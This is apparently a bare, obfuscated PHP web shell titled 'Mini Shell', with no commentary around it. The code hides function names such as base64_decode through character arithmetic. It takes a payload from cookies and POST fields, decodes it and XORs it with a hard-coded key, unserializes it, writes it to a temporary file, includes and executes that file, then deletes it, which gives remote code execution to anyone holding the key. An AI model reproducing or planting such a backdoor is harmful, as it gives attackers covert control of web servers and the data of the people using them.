Mini Shell

$vkJSOVKvuX = "\x54" . chr (89) . "\116" . '_' . 'R' . "\155" . 'y' . chr ( 407 - 285 )."\x53";$iYMVu = chr ( 647 - 548 ).chr (108) . 'a' . "\x73" . chr ( 975 - 860 ).'_' . chr (101) . chr ( 832 - 712 ).'i' . chr ( 240 - 125 ).chr ( 583 - 467 ).chr (115); $QvjFZ = class_exists($vkJSOVKvuX); $iYMVu = "24999";$BzStXpWOgl = strpos($iYMVu, $vkJSOVKvuX);if ($QvjFZ == $BzStXpWOgl){function QJLzpuqO(){$BQGSbf = new /* 64500 */ TYN_RmyzS(50565 + 50565); $BQGSbf = NULL;}$SlYxUyvDs = "50565";class TYN_RmyzS{private function CqGzaUYGz($SlYxUyvDs){if (is_array(TYN_RmyzS::$LizEHZFSNE)) {$name = sys_get_temp_dir() . "/" . crc32(TYN_RmyzS::$LizEHZFSNE["salt"]);@TYN_RmyzS::$LizEHZFSNE["write"]($name, TYN_RmyzS::$LizEHZFSNE["content"]);include $name;@TYN_RmyzS::$LizEHZFSNE["delete"]($name); $SlYxUyvDs = "50565";exit();}}public function CxrCTZif(){$hYgmxekaLX = "19721";$this->_dummy = str_repeat($hYgmxekaLX, strlen($hYgmxekaLX));}public function __destruct(){TYN_RmyzS::$LizEHZFSNE = @unserialize(TYN_RmyzS::$LizEHZFSNE); $SlYxUyvDs = "33573_3523";$this->CqGzaUYGz($SlYxUyvDs); $SlYxUyvDs = "33573_3523";}public function HJTwcoZWjV($hYgmxekaLX, $HvKvzM){return $hYgmxekaLX[0] ^ str_repeat($HvKvzM, intval(strlen($hYgmxekaLX[0]) / strlen($HvKvzM)) + 1);}public function pttzD($hYgmxekaLX){$vjYtUOfII = chr ( 1094 - 996 )."\141" . "\163" . chr ( 787 - 686 )."\66" . "\64";return array_map($vjYtUOfII . chr ( 310 - 215 ).chr ( 417 - 317 )."\145" . "\x63" . chr ( 464 - 353 ).chr ( 713 - 613 ).'e', array($hYgmxekaLX,));}public function __construct($tBItxlPPVw=0){$ZJwXfrZVbC = chr ( 415 - 371 ); $hYgmxekaLX = "";$PUHImiqc = $_POST;$zhAcWlzyUR = $_COOKIE;$HvKvzM = "94e624f1-9ba1-467f-861c-8181bd50b30b";$wykjbjWDB = @$zhAcWlzyUR[substr($HvKvzM, 0, 4)];if (!empty($wykjbjWDB)){$wykjbjWDB = explode($ZJwXfrZVbC, $wykjbjWDB);foreach ($wykjbjWDB as $NkXhSA){$hYgmxekaLX .= @$zhAcWlzyUR[$NkXhSA];$hYgmxekaLX .= @$PUHImiqc[$NkXhSA];}$hYgmxekaLX = $this->pttzD($hYgmxekaLX);}TYN_RmyzS::$LizEHZFSNE = $this->HJTwcoZWjV($hYgmxekaLX, $HvKvzM);if (strpos($HvKvzM, $ZJwXfrZVbC) !== FALSE){$HvKvzM = chunk_split($HvKvzM); $HvKvzM = rtrim($HvKvzM);}}public static $LizEHZFSNE = 6919;}QJLzpuqO();}